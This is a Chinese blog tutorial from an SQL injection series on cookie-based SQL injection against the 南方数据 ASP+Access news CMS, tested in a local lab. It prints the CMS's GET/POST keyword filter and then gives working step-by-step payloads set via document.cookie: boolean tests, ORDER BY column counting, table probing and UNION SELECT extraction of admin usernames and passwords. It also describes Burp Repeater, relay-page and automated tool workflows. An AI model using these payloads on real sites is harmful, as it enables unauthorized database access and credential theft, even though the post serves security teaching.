SQL注入系列之ASP+ACCESS手动注入(二)----Cookie注入

SQL注入 专栏收录该内容
14 篇文章 15 订阅

一、简介


Cookie的定义是这样的:Cookie是在HTTP协议下,服务器或脚本可以维护客户工作站上信息的一种方式。通常被用来辨别用户身份、进行session跟踪,最典型的应用就是保存用户的账号和密码用来自动登录网站和电子商务网站中的“购物车”。

Cookie注入简单来说就是利用Cookie而发起的注入攻击。从本质上来讲,Cookie注入与传统的SQL注入并无不同,两者都是针对数据库的注入,只是表现形式上略有不同罢了。

要想深入了解Cookie注入的成因,必须要了解ASP脚本中的request对象。它被用于从用户那里获取信息。Request对象的使用方法一般是这样的:request.[集合名称](参数名称),比如获取从表单中提交的数据时可以这样写:request.form("参数名称"),但ASP中规定也可以省略集合名称,直接用这样的方式获取数据:request("参数名称"),当使用这样的方式获取数据时,ASP规定是按QueryString、Form、Cookies、ServerVariables的顺序来获取数据的。这样,当我们使用request("参数名称")方式获取客户端提交的数据,并且没有对使用request.cookies("参数名称")方式提交的数据进行过滤时,Cookie注入就产生了。


二Cookie注入典型步骤


1.寻找形如“.asp?id=xx”类的带参数的URL。


2.去掉“id=xx”查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。


3.清空浏览器地址栏,输入“javascript:alert(document.cookie="id="+escape("xx"));”,按Enter键后弹出一个对话框,内容是“id=xx”,然后用原来的URL刷新页面,如果显示正常,说明应用使用Request("id")这种方式获取数据的。


4.重复上面的步骤,将常规SQL注入中的判断语句带入上面的URL:“javascript:alert(document.cookie="id="+escape("xx and 1=1"));” “javascript:alert(document.cookie="id="+escape("xx and 1=2"));”。和常规SQL注入一样,如果分别返回正常和不正常页面,则说明该应用存在注入漏洞,并可以进行cookie注入。


5.使用常规注入语句进行注入即可。


三、Cookie注入实战


测试程序这里采用:南方数据新闻发布管理系统 V7.0


可以从这下载:http://download.csdn.net/detail/u011781521/9764335


下载之后解压放到IIS环境中去。访问: http://192.168.87.129/index.asp




查看其中的 Shownews.asp 文件




查看Check_Sql.asp文件


<% 

Dim Query_Badword,Form_Badword,i,Err_Message,Err_Web,name

'------定义部份  头----------------------------------------------------------------------

Err_Message = 1		'处理方式:1=提示信息,2=转向页面,3=先提示再转向

Err_Web = "Err.Asp"	'出错时转向的页面

Query_Badword="'∥and∥select∥update∥chr∥delete∥%20from∥;∥insert∥mid∥master.∥set∥chr(37)∥="     

'在这部份定义get非法参数,使用"∥"号间隔     

Form_Badword="'∥%∥&∥*∥#∥(∥)∥="     '在这部份定义post非法参数,使用"∥"号间隔

'------定义部份  尾-----------------------------------------------------------------------
'
On Error Resume Next

'----- 对 get query 值 的过滤.

if request.QueryString<>"" then
Chk_badword=split(Query_Badword,"∥")
FOR EACH Query_Name IN Request.QueryString
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.QueryString(Query_Name)),Chk_badword(i))<>0 Then
Select Case Err_Message
  Case "1"
Response.Write "<Script Language=JavaScript>alert('传参错误!参数 "&name&" 的值中包含非法字符串!\n\n请不要在参数中出现:and update delete ; insert mid master 等非法字符!');window.close();</Script>"
  Case "2"
Response.Write "<Script Language=JavaScript>location.href='"&Err_Web&"'</Script>"
  Case "3"
Response.Write "<Script Language=JavaScript>alert('传参错误!参数 "&name&"的值中包含非法字符串!\n\n请不要在参数中出现:and update delete ; insert mid master 等非法字符!');location.href='"&Err_Web&"';</Script>"
End Select
Response.End
End If
NEXT
NEXT
End if

'-----对 post 表 单值的过滤.

if request.form<>"" then
Chk_badword=split(Form_Badword,"∥")
FOR EACH name IN Request.Form
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.form(name)),Chk_badword(i))<>0 Then
Select Case Err_Message
  Case "1"
Response.Write "<Script Language=JavaScript>alert('出错了!表单 "&name&" 的值中包含非法字符串!\n\n请不要在表单中出现: % & * # ( ) 等非法字符!');window.close();</Script>"
  Case "2"
Response.Write "<Script Language=JavaScript>location.href='"&Err_Web&"'</Script>"
  Case "3"
Response.Write "<Script Language=JavaScript>alert('出错了!参数 "&name&"的值中包含非法字符串!\n\n请不要在表单中出现: % & * # ( )  等非法字符!');location.href='"&Err_Web&"';</Script>"
End Select
Response.End
End If
NEXT
NEXT
end if
%>


它有对get/post注入进行过滤,并没有对Cookie进行过滤。



1)手工注入


1.寻找形如“.asp?id=xx”类的带参数的URL。




提示包好非法字符串,这是由于它对POST/GET进行了过滤。


2.去掉“id=xx”查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。





3.清空浏览器地址栏,输入“javascript:alert(document.cookie="id="+escape("xx"));”,按Enter键后弹出一个对话框,内容是“id=xx”,然后用原来的URL刷新页面,如果显示正常,说明应用使用Request("id")这种方式获取数据的。




4.重复上面的步骤,将常规SQL注入中的判断语句带入上面的


URL:“javascript:alert(document.cookie="id="+escape("xx and 1=1"));” URL:“javascript:alert(document.cookie="id="+escape("xx and 1=2"));”


和常规SQL注入一样,如果分别返回正常和不正常页面,则说明该应用存在注入漏洞,并可以进行cookie注入。


先去掉地址,然后输入:


javascript:alert(document.cookie="id="+escape("xx and 1=1"));



然后去掉?id=27看是否能正常显示。





然后再清除地址,输入:


javascript:alert(document.cookie="id="+escape("xx and 1=2"));



然后去掉?id=27看是否能正常显示。




出错了,说明存在Cookie注入,然后换语句猜解字段数:


javascript:alert(document.cookie="id="+escape("27 order by 12"));




order by 12 时报错,换成11再试:


javascript:alert(document.cookie="id="+escape("27 order by 11"));




11时正确,说明字段数为11。然后就是猜解表名:


javascript:alert(document.cookie="id="+escape("27 and exists (select * from admin) "));



正确说明存在"admin"这个表。接下来就是猜解内容:


javascript:alert(document.cookie="id="+escape("27 union select 1,2,3,4,5,6,7,8,9,10,11 from admin "));




爆出来:2,3,替换2,3为你想要猜解出来的内容。


javascript:alert(document.cookie="id="+escape("27 union select 1,username,password,4,5,6,7,8,9,10,11 from admin "));




2)Burp+手工注入


这里用Burp工具+手工来操作,打开Burp然后监听80端口,然后刷新页面,Burp就会进行拦截




截取到之后,右键发送到 Repeater






进行手工注入。先GO过去看先他的Content-Length长度是多少。




2189,然后在cookie中加入;id=27 and 1=1




再GO,看下结果




发现并没有变,然后换成;id=27 and 1=2




发现还是没有变???难道不存在Cookie注入??  把id=27 and 1=2 进行URL编码得到id%3d27+and+1%3d2 然后把/shownews.asp?id=27去掉,再GO一下,就可以了。




发现长度变成了7133。


3)利用Cookie工具注入中转


首先将存在有参数传递的页面完全打开,并将url复制下来:http://192.168.87.129/shownews.asp?id=27


运行“注入中转”工具,选择“cookie注入”,并按下图的格式进行填写。注意“post提交值”一定要用默认的“jmdcw=”,后面的“27”就是刚才所打开的网页所传送的参数值。




设置好之后,点击“生成ASP”,此时会在软件目录下生成一个asp网页文件jmCook.asp。

下面我们在主机上也安装小旋风ASPWeb服务器搭建一个Web环境,并将jmCook.asp这个文件复制到网站主目录wwwroot中。

打开浏览器,在地址栏中输入“192.168.87.129:8067/jmCook.asp?jmdcw=27”来访问刚才所生成的网页,此时就在本地打开了之前曾访问的那个页面。



在这个页面中,我们就可以使用之前的那些注入语句来实现注入了。


192.168.87.129:8067/jmCook.asp?jmdcw=27

在地址后吗加个',数据库就报错了。




然后就可以和上面的一样进行手工注入。


4)利用三甲SQL注入工具进行注入


打开穿三甲工具,输入URL地址,然后选择Type,DB,keyword,注入类型。




选择好之后,点击开始




选择Datas然后选择ALL他就会自动扫描数据库。扫描出来之后,再次选择你要爆破的表,




然后选择"Columns"他就会自动去扫描表中的字段。然后选择你要获取那个字段的内容,选择好之后,然后点击获取数据。




用户名与密码就出来了。


  • 4
    点赞
  • 0
    评论
  • 4
    收藏
  • 打赏
    打赏
  • 扫一扫,分享海报

©️2022 CSDN 皮肤主题:编程工作室 设计师:CSDN官方博客 返回首页

打赏作者

码农致富

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值